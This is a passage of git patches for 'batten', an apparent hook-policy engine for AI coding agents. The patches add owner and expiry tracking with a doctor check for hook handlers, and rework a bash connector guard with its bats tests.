nor a sibling. `doctor` is the only place that can see it, and now does. A CLOCK THAT CANNOT BE READ IS COULD-NOT-LOOK. `waiver::today` errors only when the system clock predates the Unix epoch; reading that as "every handler is overdue" would redden every checkout on a misconfigured machine, which is a verdict about the environment wearing a verdict about the config. `the_bare_diagnosis_is_unchanged_by_the_sub_verb` gains the fourth check, and the distinction it actually guards is recorded rather than bumped: §8's clause is that `doctor` validates the RESOLVED CONFIG, a handler row is resolved config, and "does this declared program resolve" is the same question `command-programs` already asks of a `command` rule. What that case forbids is `doctor hooks` leaking into the bare list, which it still does not. The no-config case gains a check without gaining a failure, because a checkout declaring no handlers passes vacuously over an empty table. Refs: CLOUD-984, CLOUD-898, CLOUD-312 --- batten.toml | 15 +++ crates/batten/src/doctor.rs | 87 +++++++++++++++- crates/batten/src/handler.rs | 186 ++++++++++++++++++++++++++++++++++ crates/batten/tests/doctor.rs | 13 ++- schema/batten.schema.json | 14 +++ 5 files changed, 311 insertions(+), 4 deletions(-) diff --git a/batten.toml b/batten.toml index 3c5a25bf2..ca6b9c971 100644 --- a/batten.toml +++ b/batten.toml @@ -3755,11 +3755,22 @@ exclusive = true # handlers nobody measured and this one IS measured: it reads MCP logs and # returns in tens of milliseconds. A bound two orders above the measurement is # generous without being meaningless. +# +# `owner` AND `expires` ARE WHAT MAKE THIS A DEBT RATHER THAN A DESTINATION +# (CLOUD-984). The door makes a dispatched program safe — a bound, central +# fail-open, one stated output shape — and none of that makes it POLICY. A +# predicate living behind a spawn is one a reader of the committed authority +# cannot discover, so a handler is always somebody's debt, and these two columns +# name the creditor and the date. `doctor` reports an unowned or overdue row; +# nothing switches the handler off, because a dispatched program that silently +# stopped running is the fail-open this surface exists to close. [[hook.handler]] id = "mcp-attach-check" on = "user-prompt-submit" run = ["mise-tasks/mcp-attach-check.sh"] timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # CLOUD-312 row 5: `connector-allow-guard` retires THROUGH THE DOOR rather than # into a row, and the destination is a correction to CLOUD-312's own table. @@ -3819,6 +3830,8 @@ on = "pre-tool" run = ["mise-tasks/connector-allow-guard.sh"] matcher = "^mcp__" timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # CLOUD-312 row 8: `mcp-allow-check --session` retires THROUGH THE DOOR, beside its # own sibling. `mcp-attach-check` above went first as the cheapest honest proof of @@ -3856,6 +3869,8 @@ id = "mcp-allow-check" on = "user-prompt-submit" run = ["mise-tasks/mcp-allow-check.sh", "--session"] timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # --------------------------------------------------------------------------- # THE REFUSAL VOCABULARY (CLOUD-1050). diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index 57e3644ee..3d7c7e782 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -136,6 +136,24 @@ const GIT_REPO: &str = "git-repo"; /// "names a command already on the operator's PATH" — this is the probe that /// says whether that premise holds, before anything depends on it. const COMMAND_PROGRAMS: &str = "command-programs"; +/// Every declared `[[hook.handler]]` names a live retirement and resolves to a +/// program that exists (CLOUD-984). +/// +/// **Diagnosed here rather than refused at load, and the placement is the +/// decision.** `config::validate` runs on every load including the mediated +/// path, so a handler refused there fails config load — exit 1, which every +/// harness reads as could-not-look and allows. A missing `owner` would disable +/// the engine for every call in the repository. A strictness whose failure mode +/// is "no policy at all" is not a strictness. +/// +/// It carries the program-resolution probe for the same reason +/// [`COMMAND_PROGRAMS`] does, and against a measured defect: this repository's +/// only handler row named `mise-tasks/mcp-attach-check`, a file that does not +/// exist, for its whole life. `run_one`'s spawn failed, `Outcome::Broke` allowed +/// as designed, and the guard ran zero times while reading as wired — invisible +/// to both directions of the wiring gate, because it is neither a native +/// registration nor a sibling. +const HOOK_HANDLERS: &str = "hook-handlers"; /// Whether `program` resolves to an existing file on `PATH`. /// @@ -157,6 +175,29 @@ fn on_path(program: &str) -> bool { crate::rules::on_path_verbatim(program).is_some() } +/// Whether a handler's declared program is something that could be spawned. +/// +/// **Resolved the way the DISPATCH resolves it, never a second guess.** A probe +/// that disagreed with the spawn it predicts diagnoses a run that would have +/// worked, or misses one that would not — the defect [`on_path`] records from +/// CLOUD-617, one layer over. A handler's program is relative to the repository +/// root, which is where `run_one` spawns it from, so a repo-relative path is +/// checked there and a bare name goes through the same `PATH` lookup the spawn +/// ladder's second rung uses. +/// +/// Measured 2026-08-25: this repository's only handler row named a program one +/// character off — `mise-tasks/mcp-attach-check` against `…-check.sh` — and the +/// consequence was not an error but a silence. `spawn_resolving`'s ladder never +/// appends an extension, the spawn returned `NotFound`, and `Outcome::Broke` +/// allowed exactly as the door promises. The guard read as wired and ran zero +/// times. +fn handler_program_resolves(dir: &Path, program: &str) -> bool { + if program.contains(std::path::MAIN_SEPARATOR) || program.contains('/') { + return dir.join(program).is_file(); + } + on_path(program) +} + /// Diagnose the repository rooted at `dir`. /// /// Infallible by construction: every failure becomes a [`Check`] rather than an @@ -203,6 +244,39 @@ pub fn diagnose(dir: &Path) -> Report { Check::passed(COMMAND_PROGRAMS) }); + // The handler table, off the same resolved config. `today` is read once + // here — the boundary — and passed down, so the predicate itself stays a + // pure function of its inputs and the suite can drive any date it likes. + let handlers = resolve::resolve(dir, &crate::Overrides::default()) + .ok() + .and_then(|resolved| resolved.hook.map(|hook| hook.handlers)) + .unwrap_or_default(); + // + // A clock that cannot be read is COULD NOT LOOK, so the dated half is + // skipped and the rest still runs: `waiver::today` errors only when the + // system clock predates the Unix epoch, and reading that as "every handler + // is overdue" would redden every checkout on a misconfigured machine. + checks.push( + handlers + .iter() + .find_map(|handler| { + crate::waiver::today() + .ok() + .and_then(|today| handler.transitional_defect(today)) + .or_else(|| { + handler + .run + .first() + .filter(|program| !handler_program_resolves(dir, program)) + .map(|_| "handler-program-unresolvable") + }) + }) + .map_or_else( + || Check::passed(HOOK_HANDLERS), + |reason| Check::failed(HOOK_HANDLERS, reason), + ), + ); + // The working-tree authority: `doctor` diagnoses the checkout in front of // it, so it does not take a base ref. let config_epoch = crate::epoch::compute(dir, None).ok(); @@ -1623,12 +1697,23 @@ mod tests { // House style §8 promises what bare `batten doctor` does, so adding a // sub-verb must not move it. Asserted on the named checks rather than a // count, matching `every_check_is_reported_not_just_the_first_failure`. + // + // `HOOK_HANDLERS` IS A CHECK, NOT A SUB-VERB, and the distinction is + // what this case is actually about. §8's clause is that `doctor` + // validates the RESOLVED CONFIG; a `[[hook.handler]]` row is resolved + // config, and asking whether its program resolves is the same question + // `COMMAND_PROGRAMS` already asks of a `command` rule — same family, + // same verb, one more row. What the case forbids is `doctor hooks` + // leaking into this list, which it still does not. let names: Vec<&str> = diagnose(&scratch("bare-unchanged")) .checks .iter() .map(|check| check.name) .collect(); - assert_eq!(names, vec![CONFIG, GIT_REPO, COMMAND_PROGRAMS]); + assert_eq!( + names, + vec![CONFIG, GIT_REPO, COMMAND_PROGRAMS, HOOK_HANDLERS] + ); } #[test] diff --git a/crates/batten/src/handler.rs b/crates/batten/src/handler.rs index 1c3fcc003..ce28ec6e1 100644 --- a/crates/batten/src/handler.rs +++ b/crates/batten/src/handler.rs @@ -229,6 +229,27 @@ pub struct Handler { /// re-opening the defect the sibling column's shape exists to prevent. #[serde(default, skip_serializing_if = "Option::is_none")] pub matcher: Option, + /// The issue that owns retiring this handler (CLOUD-984). + /// + /// **A handler is an antipattern with a ratchet, never a destination.** The + /// door makes a dispatched program safe — a bound, central fail-open, a + /// stated output shape — and none of that makes it *policy*. A predicate + /// living behind a spawn is one the committed authority cannot be read to + /// discover, so every handler is a debt somebody owes, and this column is + /// where the creditor is named. + /// + /// Absent is not refused at load, deliberately — see + /// [`Handler::transitional_defect`] for why the enforcement is tree-scoped. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub owner: Option, + /// The date past which this handler is overdue, `YYYY-MM-DD`. + /// + /// Not an expiry that switches the handler OFF: a dispatched program that + /// silently stopped running is the fail-open this whole surface exists to + /// close. It is a date past which the DIAGNOSIS says so, which is the only + /// form of pressure that cannot itself become an outage. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub expires: Option, } impl Handler { @@ -264,6 +285,64 @@ impl Handler { .map_or(DEFAULT_TIMEOUT, Duration::from_millis) } + /// Why this handler's transitional declaration is not in good standing, if + /// it is not: a stable reason id, or `None` when it is (CLOUD-984). + /// + /// **NOT called from [`validate`], and that is the load-bearing decision.** + /// `config::validate` runs on **every** load, including the mediated path — + /// so a row refused there fails config load, which is exit 1, which every + /// harness reads as could-not-look and allows. A missing `owner` would then + /// disable the entire engine for every call in the repository until somebody + /// noticed. The failure mode of a strictness is not always strictness. + /// + /// So the shape is checked where a red costs a diagnosis rather than the + /// mediation: `doctor` reads this, and a tree-scoped row can too. `today` is + /// passed in rather than read, because a predicate that consults the clock + /// cannot be tested at the boundary it actually fires on. + #[must_use] + pub fn transitional_defect(&self, today: crate::waiver::Date) -> Option<&'static str> { + match self.owner.as_deref() { + None => return Some("handler-unowned"), + // A key that is not a key names nobody, which is the state the + // column exists to prevent — the same reading `wiring-declaration-unowned` + // takes of a declared row whose owner is a word. + Some(owner) if !is_issue_key(owner) => return Some("handler-owner-unkeyed"), + Some(_) => {} + } + match self.expires.as_deref() { + None => Some("handler-undated"), + // `waiver::Date` rather than a string comparison, and rather than a + // second date type: it is already the repository's one answer to + // "what is a date in committed config", it validates the calendar + // (`2026-02-31` is refused, where a lexicographic compare would sort + // it happily), and its `Ord` is chronological. A second notion of a + // date here would be a second authority for one fact. + Some(text) => match crate::waiver::Date::parse(text) { + Err(_) => Some("handler-date-malformed"), + Ok(expiry) if expiry < today => Some("handler-overdue"), + Ok(_) => None, + }, + } + } +} + +/// Whether `text` is `-` — a tracker key's shape, not a +/// tracker's vocabulary. +/// +/// The prefix is not named here: a specific tracker's project key in +/// `crates/batten` is non-negotiable rule 1's violation, and the property worth +/// asserting is that somebody wrote a KEY rather than a word like `soon`. +fn is_issue_key(text: &str) -> bool { + let Some((prefix, number)) = text.split_once('-') else { + return false; + }; + !prefix.is_empty() + && prefix.chars().all(|c| c.is_ascii_alphabetic()) + && !number.is_empty() + && number.chars().all(|c| c.is_ascii_digit()) +} + +impl Handler { /// Reject a handler that cannot honestly run. /// /// # Errors @@ -860,9 +939,116 @@ mod tests { run: run.iter().map(|word| (*word).to_owned()).collect(), timeout_ms: None, matcher: None, + // Absent, so the existing cases keep exercising what they were + // written for: `validate` deliberately does NOT read these, and a + // helper that populated them would hide that separation rather than + // pin it. `transitional_defect`'s own cases construct their rows. + owner: None, + expires: None, + } + } + + fn dated(id: &str, owner: Option<&str>, expires: Option<&str>) -> Handler { + let mut row = handler(id, "user-prompt-submit", &["mise-tasks/x.sh"]); + row.owner = owner.map(str::to_owned); + row.expires = expires.map(str::to_owned); + row + } + + const fn on(year: u64, month: u64, day: u64) -> crate::waiver::Date { + crate::waiver::Date { year, month, day } + } + + /// A transitional declaration is judged, and every way it can be wrong has + /// its own reason id (CLOUD-984). + /// + /// A handler is an antipattern with a ratchet, so the column that names who + /// retires it is the difference between a debt and a destination. Each arm + /// sends the reader somewhere different — nobody named, a word where a key + /// belongs, no date, a date that is not one, and a date that has passed — so + /// one shared reason would be a pointer that answers none of them. + /// + /// Fails by: collapsing any two arms onto one reason id. + #[test] + fn every_way_a_transitional_declaration_can_be_wrong_has_its_own_reason() { + let today = on(2026, 8, 26); + + assert_eq!( + dated("a", None, Some("2099-01-01")).transitional_defect(today), + Some("handler-unowned") + ); + assert_eq!( + dated("a", Some("soon"), Some("2099-01-01")).transitional_defect(today), + Some("handler-owner-unkeyed"), + "a word is not a key: it reads as a decision and records nobody to ask" + ); + assert_eq!( + dated("a", Some("CLOUD-984"), None).transitional_defect(today), + Some("handler-undated") + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("next tuesday")).transitional_defect(today), + Some("handler-date-malformed") + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2026-08-25")).transitional_defect(today), + Some("handler-overdue"), + "yesterday has passed" + ); + + // In good standing: today itself is not yet overdue, which is the + // boundary an off-by-one would move. + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2026-08-26")).transitional_defect(today), + None + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2099-01-01")).transitional_defect(today), + None + ); + } + + /// The date is a calendar date, not a string comparison. + /// + /// `waiver::Date` is reused rather than a second notion of a date, and this + /// is what that buys: an impossible day is refused where a lexicographic + /// compare would sort it happily and read as live until the year 2027. + /// + /// Fails by: swapping `Date::parse` for a shape-only check and `<` on `&str`. + #[test] + fn an_impossible_date_is_malformed_rather_than_merely_late() { + let today = on(2026, 8, 26); + for impossible in ["2026-02-31", "2026-13-01", "2026-00-10", "2026-8-1"] { + assert_eq!( + dated("a", Some("CLOUD-984"), Some(impossible)).transitional_defect(today), + Some("handler-date-malformed"), + "{impossible} is not a date" + ); } } + /// `validate` does not read the transitional columns, and that is deliberate. + /// + /// `config::validate` runs on EVERY load including the mediated path, so a + /// row refused there fails config load — exit 1, which a harness reads as + /// could-not-look and allows. A missing `owner` would disable the engine for + /// every call in the repository until somebody noticed. The enforcement is + /// `doctor`'s, where a red costs a diagnosis rather than the mediation. + /// + /// Fails by: calling `transitional_defect` from `validate`. + #[test] + fn a_handler_with_no_transitional_columns_still_loads() { + let bare = handler("mcp-attach-check", "user-prompt-submit", &["x.sh"]); + assert!( + bare.validate().is_ok(), + "an unowned handler must not fail config load — that is fail-open on every call" + ); + assert!( + bare.transitional_defect(on(2026, 8, 26)).is_some(), + "and it is still a finding where findings are cheap" + ); + } + fn is_usage_error(err: &anyhow::Error) -> bool { err.downcast_ref::().is_some() } diff --git a/crates/batten/tests/doctor.rs b/crates/batten/tests/doctor.rs index d3e5d4b40..90a4b5a8c 100644 --- a/crates/batten/tests/doctor.rs +++ b/crates/batten/tests/doctor.rs @@ -63,7 +63,7 @@ fn a_healthy_repository_exits_zero() { assert_eq!(output.status.code(), Some(0)); assert_eq!( stdout(&output), - "config ok\ngit-repo ok\ncommand-programs ok\ndoctor: 3 check(s), 0 failed\n" + "config ok\ngit-repo ok\ncommand-programs ok\nhook-handlers ok\ndoctor: 4 check(s), 0 failed\n" ); } @@ -115,7 +115,11 @@ fn every_check_is_reported_not_just_the_first_failure() { let text = stdout(&output); assert!(text.contains("config failed"), "got: {text}"); assert!(text.contains("git-repo failed"), "got: {text}"); - assert!(text.contains("doctor: 3 check(s), 2 failed"), "got: {text}"); + // Four checks now; still two failures, because a checkout with no config + // declares no handlers and `hook-handlers` passes vacuously over an empty + // table. That is the honest answer — there is nothing there to be wrong — + // and it is why the count moved while the failure count did not. + assert!(text.contains("doctor: 4 check(s), 2 failed"), "got: {text}"); } // --- doctor never renders a policy verdict ----------------------------------- @@ -240,7 +244,10 @@ fn json_is_valid_and_carries_every_check() { assert_eq!(report["ok"], true); let checks = report["checks"].as_array().expect("checks is an array"); let names: Vec<&str> = checks.iter().filter_map(|c| c["name"].as_str()).collect(); - assert_eq!(names, vec!["config", "git-repo", "command-programs"]); + assert_eq!( + names, + vec!["config", "git-repo", "command-programs", "hook-handlers"] + ); } #[test] diff --git a/schema/batten.schema.json b/schema/batten.schema.json index 2c4dd82a8..ffffc5b61 100644 --- a/schema/batten.schema.json +++ b/schema/batten.schema.json @@ -1255,6 +1255,13 @@ "description": "One declared handler.", "type": "object", "properties": { + "expires": { + "description": "The date past which this handler is overdue, `YYYY-MM-DD`.\n\nNot an expiry that switches the handler OFF: a dispatched program that\nsilently stopped running is the fail-open this whole surface exists to\nclose. It is a date past which the DIAGNOSIS says so, which is the only\nform of pressure that cannot itself become an outage.", + "type": [ + "string", + "null" + ] + }, "id": { "description": "The stable identifier a verdict, a violation and a timing are reported\nunder.\n\nSeparate from the command for [`crate::action::Action`]'s reason: the\nargv is free to change without the thing it is called in reports changing\nwith it. Here it carries a second load — it is the key a per-handler\ntiming series is recorded against, so a renamed handler starts a new\nseries rather than silently continuing another's.", "type": "string" @@ -1270,6 +1277,13 @@ "description": "The event this handler runs on, as [`Event::as_str`] spells it.\n\nA **normalized** token, never a host's own word — `action`'s rule for\n`action`'s reason: a handler declared once should run on every host that\noffers the moment, and keying it on one host's spelling would silently\nnot run on another's.", "type": "string" }, + "owner": { + "description": "The issue that owns retiring this handler (CLOUD-984).\n\n**A handler is an antipattern with a ratchet, never a destination.** The\ndoor makes a dispatched program safe — a bound, central fail-open, a\nstated output shape — and none of that makes it *policy*. A predicate\nliving behind a spawn is one the committed authority cannot be read to\ndiscover, so every handler is a debt somebody owes, and this column is\nwhere the creditor is named.\n\nAbsent is not refused at load, deliberately — see\n[`Handler::transitional_defect`] for why the enforcement is tree-scoped.", + "type": [ + "string", + "null" + ] + }, "run": { "description": "The command, as argv. Never a shell string.\n\nargv rather than a command line so there is no quoting layer between what\nan operator wrote and what runs: no word splitting, no glob expansion, no\ncommand substitution.", "type": "array", From 142e539d62dd822a3471918fba2e95fff8850792 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 03:37:32 +0000 Subject: [PATCH 05/27] fix(hook): the first guard through the door was writing a document the door drops MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Refs: CLOUD-898. Refs CLOUD-312. DO-NOT-CLOSE CLOUD-898 DO-NOT-CLOSE CLOUD-312 `connector-allow-guard` retired from a direct `PreToolUse` registration into a `[[hook.handler]]` row and kept writing `hookSpecificOutput` on stdout. Behind the door that is `Violation::ImpersonatedHost` — reported and never forwarded — so every verdict it produced was discarded for the life of the migration. Measured on this repository's live wiring, not inferred. Fed a `send_later` call under a UUID alias, the script printed `permissionDecision: deny`; the same payload through `batten hook --harness claude-code` answered on stderr with `hook.handler connector-allow-guard: wrote a host decision document`, and the refusal that reached the host came from an unrelated engine row that happens to cover the same tool. Every deny in the committed permission table is covered that way, which is exactly why a dropped verdict looked like a working one. A refusal is now exit 2 with its reason on stderr, and the engine renders it per harness. The file no longer knows or names any host's spelling, and the three escaping substitutions it needed to build that document go with it rather than move. `tests/connector-allow-door.bats` is the second tier, and it is the tier that finds this class: a fixture repository carrying that one handler row and no `[[rule]]` at all, so nothing in the engine can produce a verdict of its own and be mistaken for the handler's. Its denied verb is deliberately one no engine row covers. It carries a positive control that makes the handler write a host document on purpose and requires the door to name it, because every other row asserts an ABSENCE and absence is also what a handler that never ran produces — which the suite's own first execution demonstrated, four rows green through a `run` subshell that discarded both variables they compared. The allow half has no channel behind the door and this does not restore it: `hook.rs` encodes `deny` and `ask`, and `AdvisoryReach` for this host does not list the pre-tool event. Measured: an advisory with no model-facing surface is not discarded, it goes to the engine's own stderr — transcript-only rather than model-facing. So the arm emits advisory text, which is inert for the prompt CLOUD-191 exists to remove, visible to a human reading the session, correct under the contract, and not a document that gets dropped. The conflict between that and the one-registration policy is recorded on CLOUD-898 rather than resolved here. Refs: CLOUD-312, CLOUD-191, CLOUD-898 --- mise-tasks/connector-allow-guard.sh | 74 ++++++++--- tests/connector-allow-door.bats | 183 ++++++++++++++++++++++++++++ tests/connector-allow-guard.bats | 64 +++++++--- 3 files changed, 288 insertions(+), 33 deletions(-) create mode 100644 tests/connector-allow-door.bats diff --git a/mise-tasks/connector-allow-guard.sh b/mise-tasks/connector-allow-guard.sh index 2a261c1b7..50d2c0c71 100755 --- a/mise-tasks/connector-allow-guard.sh +++ b/mise-tasks/connector-allow-guard.sh @@ -13,19 +13,50 @@ # work, and the issue's own Ready block refuses it. Nothing here is written, # cached, or persisted, so nothing has to land in time. # +# THE REPLY GOES TO BATTEN, NEVER TO THE HOST. This file is dispatched BY +# `batten hook` as a `[[hook.handler]]` row (CLOUD-312 row 5), and the door's +# third contract item is that stdout is INTERPRETED rather than forwarded: a +# `hookSpecificOutput` document written here is `Violation::ImpersonatedHost`, +# reported and dropped. It wrote one for its whole life behind the door. +# +# MEASURED 2026-08-26 on the live wiring, which is why this is a correction and +# not a tidy-up. A `send_later` call under a UUID alias made this guard emit its +# deny document; `batten hook` answered on stderr with `hook.handler +# connector-allow-guard: wrote a host decision document`, and the refusal that +# actually reached the host came from an unrelated engine row that happens to +# cover the same tool. EVERY deny in the committed table is covered that way +# today, which is exactly why a dropped verdict looked like a working one. +# +# So a refusal is exit 2 with its reason on stderr, and the engine renders it per +# harness — this file no longer knows or names Claude's spelling. +# # ALLOW IS A DECISION, not an omission — the same note `connector-verb-guard` # carries. Emitting nothing leaves the ordinary permission flow to prompt, which -# is exactly the failure during a UUID episode. Pre-approving needs -# `hookSpecificOutput.permissionDecision: "allow"` on stdout. +# is exactly the failure during a UUID episode. +# +# AND THE DOOR HAS NO CHANNEL FOR IT, WHICH IS A STATED LOSS RATHER THAN AN +# OMISSION. `hook.rs` encodes `deny` and `ask` and nothing else — there is no +# `Outcome` a handler can return that becomes `permissionDecision: "allow"`, and +# `AdvisoryReach` for this host does not list the pre-tool event either, so an +# advisory here has no model-facing surface to land on. +# +# WHAT IT DOES INSTEAD, MEASURED RATHER THAN ASSUMED: the engine writes it to its +# own stderr, which this host shows in the transcript and not to the model. So +# the allow arm emits advisory text — inert for the approval prompt CLOUD-191 +# exists to remove, visible to a human reading the session, correct under the +# contract, and the shape that starts working the day either channel reaches +# pre-tool. What it is NOT is a document that gets dropped, because a dropped +# allow and a delivered one are byte-identical from in here. CLOUD-898 owns the +# door and therefore the missing channel; the trace is recorded there. # # `silence` is emitted as literally nothing, which is not the same as `allow`: it # hands the call back to the ordinary flow, so a name this file cannot resolve # behaves exactly as it does today. # -# Exit 0 always — a guard renders its verdict in the JSON, never in the status, -# because a non-zero exit is a DENY on this event and a broken toolchain must not -# take that channel. FAILS OPEN on everything it cannot establish, and on -# BATTEN_CONNECTOR_ALLOW_BYPASS=1. +# FAILS OPEN on everything it cannot establish, and on +# BATTEN_CONNECTOR_ALLOW_BYPASS=1: every could-not-look path exits 0 silently, +# because exit 2 is the deny code behind the door as well as in front of it and a +# broken toolchain must not take that channel. # # Pointer-only (non-negotiable 4): the reason names the alias and the verb, never # the live key and never the payload. @@ -39,13 +70,16 @@ set -uo pipefail [[ -n "${BATTEN_CONNECTOR_ALLOW_BYPASS:-}" ]] && exit 0 -# Registered BY PATH, so mise's pinned jq does not reach this. Every read below -# fails open, so an absent parser would leave every call undecided — which is -# today's behaviour rather than a new hazard, but say so, because a guard that is -# silently checking nothing is the shape CLOUD-418 exists to refuse. +# Mise's pinned jq does not reach this. Going behind the door did not change +# that: `batten hook` is itself invoked by the harness rather than through mise, +# so a dispatched handler inherits the harness's PATH exactly as a by-path +# registration did. Every read below fails open, so an absent parser would leave +# every call undecided — which is today's behaviour rather than a new hazard, but +# say so, because a guard that is silently checking nothing is the shape +# CLOUD-418 exists to refuse. #PIN-OK: jq if ! command -v jq >/dev/null 2>&1; then - echo "::error:: connector-allow-guard: no jq on PATH — this guard is registered by path, so it does not get mise's pinned jq. It is translating NOTHING, and a flipped server name will prompt. Run: mise install" >&2 + echo "::error:: connector-allow-guard: no jq on PATH — this guard inherits the harness's PATH, not mise's, so mise's pinned jq does not reach it. It is translating NOTHING, and a flipped server name will prompt. Run: mise install" >&2 exit 0 fi @@ -63,14 +97,16 @@ read -r verdict alias < <("$resolver" "$tool" 2>/dev/null) || exit 0 [[ -n "${verdict:-}" ]] || exit 0 decide() { # decide - jq -n --arg d "$1" --arg r "$2" '{ - hookSpecificOutput: { - hookEventName: "PreToolUse", - permissionDecision: $d, - permissionDecisionReason: $r - } -}' - exit 0 + case "$1" in + deny) + printf '%s\n' "$2" >&2 + exit 2 + ;; + *) + printf '%s\n' "$2" + exit 0 + ;; + esac } verb=${tool##*__} diff --git a/tests/connector-allow-door.bats b/tests/connector-allow-door.bats new file mode 100644 index 000000000..ffad7de84 --- /dev/null +++ b/tests/connector-allow-door.bats @@ -0,0 +1,183 @@ +#!/usr/bin/env bats +# subject: mise-tasks/connector-allow-guard.sh, through `batten hook` +# +# THE SECOND TIER, and the tier that finds this class. `tests/connector-allow- +# guard.bats` runs the script directly and reads what it printed; that is the +# bash equivalent of a Rego module's `with input as`, and +# `.claude/rules/policy-modules.md` names its failure exactly — it fabricates the +# shape the ENGINE may be unable to consume, so a guard can pass its own suite +# green while the door discards every verdict it produces. +# +# WHICH IS WHAT HAPPENED. `connector-allow-guard` retired from a direct +# `PreToolUse` registration into a `[[hook.handler]]` row (CLOUD-312 row 5) and +# kept writing `hookSpecificOutput` on stdout. Behind the door that is +# `Violation::ImpersonatedHost`: reported on stderr, never forwarded. Measured +# 2026-08-26 on this repository's live wiring — the guard's deny document was +# dropped and the refusal the host received came from an unrelated engine row +# that happens to cover the same tool. Every deny in the committed permission +# table is covered that way, which is precisely why nothing went red. +# +# EVERY CASE RUNS AGAINST A FIXTURE REPOSITORY CARRYING ONE ROW: the handler and +# nothing else. That isolation is the whole design. Driving the real +# `batten.toml` would let another rule's verdict stand in for this one — which is +# the exact substitution that hid the defect for the life of the migration. + +setup() { + # Resolved as `tests/run-shape.bats` resolves it: $BATTEN_BIN, then release, + # then debug, then PATH. CI has no release build when `test:bats` runs, and a + # shorter chain aborts setup under bats' `set -e` before the skip can fire. + BIN="" + for candidate in \ + "${BATTEN_BIN:-}" \ + "$BATS_TEST_DIRNAME/../target/release/batten" \ + "$BATS_TEST_DIRNAME/../target/debug/batten"; do + [ -n "$candidate" ] && [ -x "$candidate" ] || continue + BIN="$candidate" + break + done + [ -n "$BIN" ] || BIN="$(command -v batten || true)" + [ -n "$BIN" ] || skip "no batten binary to drive" + + REPO="$BATS_TEST_TMPDIR/repo" + mkdir -p "$REPO/mise-tasks" + # Copied from the suite's own tree, so `mise run mutant` reaches this tier + # too: under `mutant` that tree is the mutated one. + cp "$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-guard.sh" "$REPO/mise-tasks/" + cp "$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-resolve.sh" "$REPO/mise-tasks/" + + # ONE ROW. No `[[rule]]` at all, so nothing in the engine can produce a + # verdict of its own and be mistaken for the handler's. + { + echo "version = 1" + echo + echo "[[hook.handler]]" + echo 'id = "connector-allow-guard"' + echo 'on = "pre-tool"' + echo 'run = ["mise-tasks/connector-allow-guard.sh"]' + echo 'matcher = "^mcp__"' + echo "timeout_ms = 5000" + echo 'owner = "CLOUD-312"' + echo 'expires = "2027-02-28"' + } >"$REPO/batten.toml" + GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" + + # THE DENIED VERB IS ONE NO ENGINE ROW COVERS. `send_later` would have been + # the natural fixture and is the wrong one: this repository's own + # `no-scheduled-self-wakeup` refuses it, so a case built on it passes whether + # the handler spoke or not. That substitution is the defect, not a detail. + export BATTEN_MCP_SETTINGS="$BATS_TEST_TMPDIR/settings.json" + cat >"$BATTEN_MCP_SETTINGS" <<-'JSON' + {"permissions":{ + "allow":["mcp__Claude_Code_Remote__create_session"], + "deny":["mcp__Claude_Code_Remote__archive_session"] + }} + JSON + export BATTEN_MCP_CONFIG="$BATS_TEST_TMPDIR/mcp-config.json" + cat >"$BATTEN_MCP_CONFIG" <<-'JSON' + {"mcpServers":{ + "bbbbbbbb-5555-6666-7777-888888888888":{"url":"https://api.anthropic.com/v1/code/mcp/proxy?mcp_url=https%3A%2F%2Fapi.anthropic.com%2Fv1%2Fcode%2Fmcp%2Fmeta"} + }} + JSON +} + +# Hand one mediated call to the engine and keep the two streams apart: the +# verdict is on stdout, and the door reports a contract violation on stderr. +# Merging them is how a dropped verdict reads as a delivered one. +# +# CALLED DIRECTLY, NEVER THROUGH `run`. `run` executes its argument in a +# subshell, so the two variables set here would be discarded and every case +# would compare an EMPTY string against a `!= *…*` pattern and pass. Measured on +# this suite's first execution: four of five cases went green that way and the +# fifth — the one asserting a POSITIVE substring — was the only thing that +# noticed. A suite whose rows are all negative assertions cannot tell you that. +door() { # door + local envelope + envelope=$(jq -nc --arg t "$1" '{hook_event_name:"PreToolUse",tool_name:$t,tool_input:{}}') + ( + cd "$REPO" || exit 1 + printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ + >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" + ) + DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") + DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") +} + +@test "THE MEASURED DEFECT: the door forwards no host document the handler wrote" { + # The one row that would have caught the migration. It is stated over the + # violation line rather than over the verdict, because the verdict was + # available from another rule and the violation line never is. + door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session + [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] + [[ "$DOOR_ERR" != *"hook.handler connector-allow-guard:"* ]] +} + +@test "a committed deny reaches the host as the engine's own refusal" { + door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session + [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]] + # Rendered BY the engine and attributed to the handler — which is the + # difference between a verdict that travelled and one the guard printed. + [[ "$DOOR_OUT" == *"hook.handler.connector-allow-guard"* ]] + [[ "$DOOR_OUT" == *archive_session* ]] + # Non-negotiable 4 survives the extra hop: the live key must not travel. + [[ "$DOOR_OUT" != *bbbbbbbb* ]] +} + +@test "a committed allow is read as advice, and lands where an advisory lands" { + # The half the door has no channel for (CLOUD-898), pinned at exactly what it + # does rather than at what it should do. A row asserting `permissionDecision: + # "allow"` would be asserting a channel that does not exist; a row asserting + # only "not denied" would pass over the dropped document this suite exists to + # refuse, AND over a handler that never ran. + # + # MEASURED, and it corrects the reading this suite was first written against: + # an advisory the host has no model-facing surface for is NOT discarded — it + # goes to the engine's own stderr, where on this host at this event it is + # transcript-only rather 